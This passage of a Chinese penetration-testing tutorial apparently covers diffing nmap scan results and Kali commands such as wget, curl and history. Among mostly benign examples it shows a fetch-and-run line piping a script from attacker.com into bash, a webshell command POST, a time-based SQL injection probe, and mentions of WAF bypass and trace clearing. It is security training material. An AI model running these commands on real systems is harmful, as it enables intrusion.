&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;wget https://offensive-security.com/pwk-files/scans.tar.gz
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 解压到当前目录&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;tar -xzvf scans.tar.gz
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 进入解压后的目录&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; scans
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="2-确认需要对比的文件"&gt;&lt;strong&gt;2. 确认需要对比的文件&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;&lt;img alt="image-20250410225532597" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250410225532597.png"&gt;&lt;/p&gt;
&lt;h4 id="3-使用"&gt;&lt;strong&gt;3. 使用 &lt;code&gt;diff&lt;/code&gt; 对比差异&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 基本对比（显示不同行的内容）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;diff 10.11.1.8_scan_01.txt 10.11.1.8_scan_02.txt 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 生成统一格式的差异报告（更易读）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; diff -u 10.11.1.8_scan_01.txt 10.11.1.8_scan_02.txt &amp;gt; diff_report.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 仅关注关键信息（如开放的端口）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;grep &lt;span class="s2"&gt;&amp;#34;open&amp;#34;&lt;/span&gt; 10.11.1.8_scan_01.txt &amp;gt; 10.11.1.8_scan_01_open.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;grep &lt;span class="s2"&gt;&amp;#34;open&amp;#34;&lt;/span&gt; 10.11.1.8_scan_02.txt &amp;gt; 10.11.1.8_scan_02_open.txt 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;diff -u 10.11.1.8_scan_01_open.txt 10.11.1.8_scan_02_open.txt 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250410225738510" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250410225738510.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250410225905274" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250410225905274.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250410230243776" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250410230243776.png"&gt;&lt;/p&gt;
&lt;h4 id="4-使用"&gt;&lt;strong&gt;4. 使用 &lt;code&gt;comm&lt;/code&gt; 对比独有/共有行&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 先排序文件（comm要求输入已排序）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;sort scan_old.txt &amp;gt; scan_old_sorted.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;sort scan_new.txt &amp;gt; scan_new_sorted.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 对比文件（显示scan_old独有、scan_new独有、共有行）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;comm s1.txt s2.txt 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 仅显示新增内容（s2独有）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;comm -13 s1.txt s2.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 仅显示删除内容（s1独有）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;comm -23 s1.txt s2.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250410230629218" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250410230629218.png"&gt;&lt;/p&gt;
&lt;h4 id="5-使用"&gt;&lt;strong&gt;5. 使用 &lt;code&gt;vimdiff&lt;/code&gt; 可视化对比&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 启动vimdiff并排对比&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;vimdiff scan_old.txt scan_new.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250410230825363" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250410230825363.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;操作指南&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;导航差异点&lt;/strong&gt;：
• &lt;code&gt;]c&lt;/code&gt;：跳转到下一个差异位置。
• &lt;code&gt;[c&lt;/code&gt;：跳转到上一个差异位置。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;合并更改&lt;/strong&gt;（可选）：
• &lt;code&gt;do&lt;/code&gt;：将右侧内容应用到左侧（Diff Obtain）。
• &lt;code&gt;dp&lt;/code&gt;：将左侧内容应用到右侧（Diff Put）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;退出&lt;/strong&gt;：
• &lt;code&gt;:qa&lt;/code&gt;：退出所有窗口。&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="6-实战技巧渗透测试关注点"&gt;&lt;strong&gt;6. 实战技巧（渗透测试关注点）&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;端口变化&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 提取新旧开放的端口列表&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;grep &lt;span class="s2"&gt;&amp;#34;open&amp;#34;&lt;/span&gt; scan_old.txt &lt;span class="p"&gt;|&lt;/span&gt; awk &lt;span class="s1"&gt;&amp;#39;{print $1}&amp;#39;&lt;/span&gt; &amp;gt; ports_old.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;grep &lt;span class="s2"&gt;&amp;#34;open&amp;#34;&lt;/span&gt; scan_new.txt &lt;span class="p"&gt;|&lt;/span&gt; awk &lt;span class="s1"&gt;&amp;#39;{print $1}&amp;#39;&lt;/span&gt; &amp;gt; ports_new.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;comm -13 ports_old.txt ports_new.txt &lt;span class="c1"&gt;# 新增端口&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;comm -23 ports_old.txt ports_new.txt &lt;span class="c1"&gt;# 关闭端口&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• &lt;strong&gt;服务版本变化&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 对比SSH服务版本&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;grep &lt;span class="s2"&gt;&amp;#34;ssh&amp;#34;&lt;/span&gt; scan_old.txt &lt;span class="p"&gt;|&lt;/span&gt; awk &lt;span class="s1"&gt;&amp;#39;{print $4,$5}&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;grep &lt;span class="s2"&gt;&amp;#34;ssh&amp;#34;&lt;/span&gt; scan_new.txt &lt;span class="p"&gt;|&lt;/span&gt; awk &lt;span class="s1"&gt;&amp;#39;{print $4,$5}&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="速查表"&gt;&lt;strong&gt;速查表&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;工具&lt;/th&gt;
 &lt;th&gt;命令示例&lt;/th&gt;
 &lt;th&gt;用途&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;diff&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;diff -u file1 file2&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;生成行级差异报告&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;comm&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;comm -12 sorted1 sorted2&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;显示共有行&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;vimdiff&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;vimdiff file1 file2&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;可视化交互式对比&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;grep&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;grep &amp;quot;open&amp;quot; file&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;过滤关键信息&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;sort&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;sort file &amp;gt; sorted_file&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;排序文件以适配&lt;code&gt;comm&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;通过以上步骤，您可以高效分析扫描结果的差异，并快速定位目标系统的配置变化。&lt;/p&gt;
&lt;p&gt;以下是 Kali Linux 中渗透测试常用命令的 &lt;strong&gt;高频用法解析&lt;/strong&gt; 和 &lt;strong&gt;实战场景速查&lt;/strong&gt;，覆盖 &lt;code&gt;tail&lt;/code&gt;、&lt;code&gt;watch&lt;/code&gt;、&lt;code&gt;wget&lt;/code&gt;、&lt;code&gt;curl&lt;/code&gt;、&lt;code&gt;axel&lt;/code&gt;、&lt;code&gt;history&lt;/code&gt;、&lt;code&gt;alias&lt;/code&gt;：&lt;/p&gt;
&lt;h2 id="监控命令"&gt;监控命令
&lt;/h2&gt;&lt;h3 id="1"&gt;&lt;strong&gt;1. &lt;code&gt;tail&lt;/code&gt;：实时追踪文件变化&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="渗透核心用途"&gt;&lt;strong&gt;渗透核心用途&lt;/strong&gt;：
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;监控日志&lt;/strong&gt;（如攻击痕迹、服务状态）
• &lt;strong&gt;追踪漏洞利用输出&lt;/strong&gt;&lt;/p&gt;
&lt;h4 id="常用参数"&gt;&lt;strong&gt;常用参数&lt;/strong&gt;：
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;tail -f /var/log/apache2/access.log &lt;span class="c1"&gt;# 实时跟踪文件末尾（-f）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;tail -n &lt;span class="m"&gt;50&lt;/span&gt; /var/log/auth.log &lt;span class="c1"&gt;# 显示最后50行（-n）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;tail --pid&lt;span class="o"&gt;=&lt;/span&gt;进程ID -f file.log &lt;span class="c1"&gt;# 跟踪文件直到进程结束&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="实战场景"&gt;&lt;strong&gt;实战场景&lt;/strong&gt;：
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 实时观察 SSH 登录尝试（检测爆破行为）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;tail -f /var/log/auth.log &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s2"&gt;&amp;#34;Failed password&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="2"&gt;&lt;strong&gt;2. &lt;code&gt;watch&lt;/code&gt;：周期性执行命令并监控&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="渗透核心用途-1"&gt;&lt;strong&gt;渗透核心用途&lt;/strong&gt;：
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;持续监控网络连接、进程状态&lt;/strong&gt;
• &lt;strong&gt;观察目标服务变化&lt;/strong&gt;&lt;/p&gt;
&lt;h4 id="常用参数-1"&gt;&lt;strong&gt;常用参数&lt;/strong&gt;：
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;watch -n &lt;span class="m"&gt;2&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;netstat -antup | grep ESTAB&amp;#34;&lt;/span&gt; &lt;span class="c1"&gt;# 每2秒刷新（-n）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;watch -d &lt;span class="s2"&gt;&amp;#34;ps aux | grep metasploit&amp;#34;&lt;/span&gt; &lt;span class="c1"&gt;# 高亮变化部分（-d）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="实战场景-1"&gt;&lt;strong&gt;实战场景&lt;/strong&gt;：
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 监控目标端口开放状态（检测防火墙规则变化）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;watch -n &lt;span class="m"&gt;5&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;nmap -p 80,443 192.168.1.100&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="下载命令"&gt;下载命令
&lt;/h2&gt;&lt;h3 id="1-1"&gt;&lt;strong&gt;1. &lt;code&gt;wget&lt;/code&gt;：非交互式文件下载&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="渗透核心用途-2"&gt;&lt;strong&gt;渗透核心用途&lt;/strong&gt;：
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;下载漏洞利用代码、字典文件&lt;/strong&gt;
• &lt;strong&gt;镜像目标网站&lt;/strong&gt;&lt;/p&gt;
&lt;h4 id="常用参数-2"&gt;&lt;strong&gt;常用参数&lt;/strong&gt;：
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;wget http://example.com/exploit.py -O /tmp/exp.py &lt;span class="c1"&gt;# 指定保存路径（-O）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;wget --user&lt;span class="o"&gt;=&lt;/span&gt;admin --password&lt;span class="o"&gt;=&lt;/span&gt;p@sswd http://intranet/backup.zip &lt;span class="c1"&gt;# 带认证下载&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;wget -r -l &lt;span class="m"&gt;2&lt;/span&gt; --no-parent http://target.com/ &lt;span class="c1"&gt;# 递归下载目录（-r）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="实战场景-2"&gt;&lt;strong&gt;实战场景&lt;/strong&gt;：
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 下载并直接执行远程脚本（高风险操作！）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;wget -qO- http://attacker.com/shell.sh &lt;span class="p"&gt;|&lt;/span&gt; bash
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="2-1"&gt;&lt;strong&gt;2. &lt;code&gt;curl&lt;/code&gt;：高级HTTP请求工具&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="渗透核心用途-3"&gt;&lt;strong&gt;渗透核心用途&lt;/strong&gt;：
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;测试API端点&lt;/strong&gt;
• &lt;strong&gt;上传/下载Webshell&lt;/strong&gt;
• &lt;strong&gt;绕过WAF检测&lt;/strong&gt;&lt;/p&gt;
&lt;h4 id="常用参数-3"&gt;&lt;strong&gt;常用参数&lt;/strong&gt;：
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;curl -X POST -d &lt;span class="s2"&gt;&amp;#34;cmd=id&amp;#34;&lt;/span&gt; http://target.com/cmd.php &lt;span class="c1"&gt;# 发送POST请求（-X, -d）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;curl -H &lt;span class="s2"&gt;&amp;#34;User-Agent: Mozilla&amp;#34;&lt;/span&gt; http://target.com &lt;span class="c1"&gt;# 自定义请求头（-H）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;curl -o output.html http://target.com &lt;span class="c1"&gt;# 保存响应内容（-o）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;curl -k https://self-signed-cert.com &lt;span class="c1"&gt;# 忽略SSL证书错误（-k）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="实战场景-3"&gt;&lt;strong&gt;实战场景&lt;/strong&gt;：
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 快速检测SQL注入漏洞（时间盲注）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;curl -s &lt;span class="s2"&gt;&amp;#34;http://target.com/?id=1&amp;#39; AND SLEEP(5)--&amp;#34;&lt;/span&gt; -o /dev/null -w &lt;span class="s2"&gt;&amp;#34;Time: %{time_total}s&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="3"&gt;&lt;strong&gt;3. &lt;code&gt;axel&lt;/code&gt;：多线程加速下载&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="渗透核心用途-4"&gt;&lt;strong&gt;渗透核心用途&lt;/strong&gt;：
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;快速下载大文件（如字典、镜像）&lt;/strong&gt;
• &lt;strong&gt;绕过下载限速&lt;/strong&gt;&lt;/p&gt;
&lt;h4 id="常用参数-4"&gt;&lt;strong&gt;常用参数&lt;/strong&gt;：
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;axel -n &lt;span class="m"&gt;10&lt;/span&gt; http://mirror.kali.org/kali.iso &lt;span class="c1"&gt;# 启用10线程下载（-n）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;axel -a -S https://mirrors.aliyun.com/kali &lt;span class="c1"&gt;# 自动选择镜像源（-S）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="实战场景-4"&gt;&lt;strong&gt;实战场景&lt;/strong&gt;：
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 多线程下载字典文件（提升效率）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;axel -n &lt;span class="m"&gt;8&lt;/span&gt; http://wordlists.secploit.com/rockyou.txt.gz
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="历史记录和别名设置"&gt;历史记录和别名设置
&lt;/h2&gt;&lt;h3 id="1-2"&gt;&lt;strong&gt;1. &lt;code&gt;history&lt;/code&gt;：管理命令行历史&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="渗透核心用途-5"&gt;&lt;strong&gt;渗透核心用途&lt;/strong&gt;：
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;回溯攻击操作&lt;/strong&gt;
• &lt;strong&gt;清理痕迹&lt;/strong&gt;&lt;/p&gt;
&lt;h4 id="常用参数-5"&gt;&lt;strong&gt;常用参数&lt;/strong&gt;：
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;history&lt;/span&gt; &lt;span class="c1"&gt;# 显示全部历史命令&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;history&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s2"&gt;&amp;#34;nmap&amp;#34;&lt;/span&gt; &lt;span class="c1"&gt;# 过滤特定命令&lt;/span&gt;
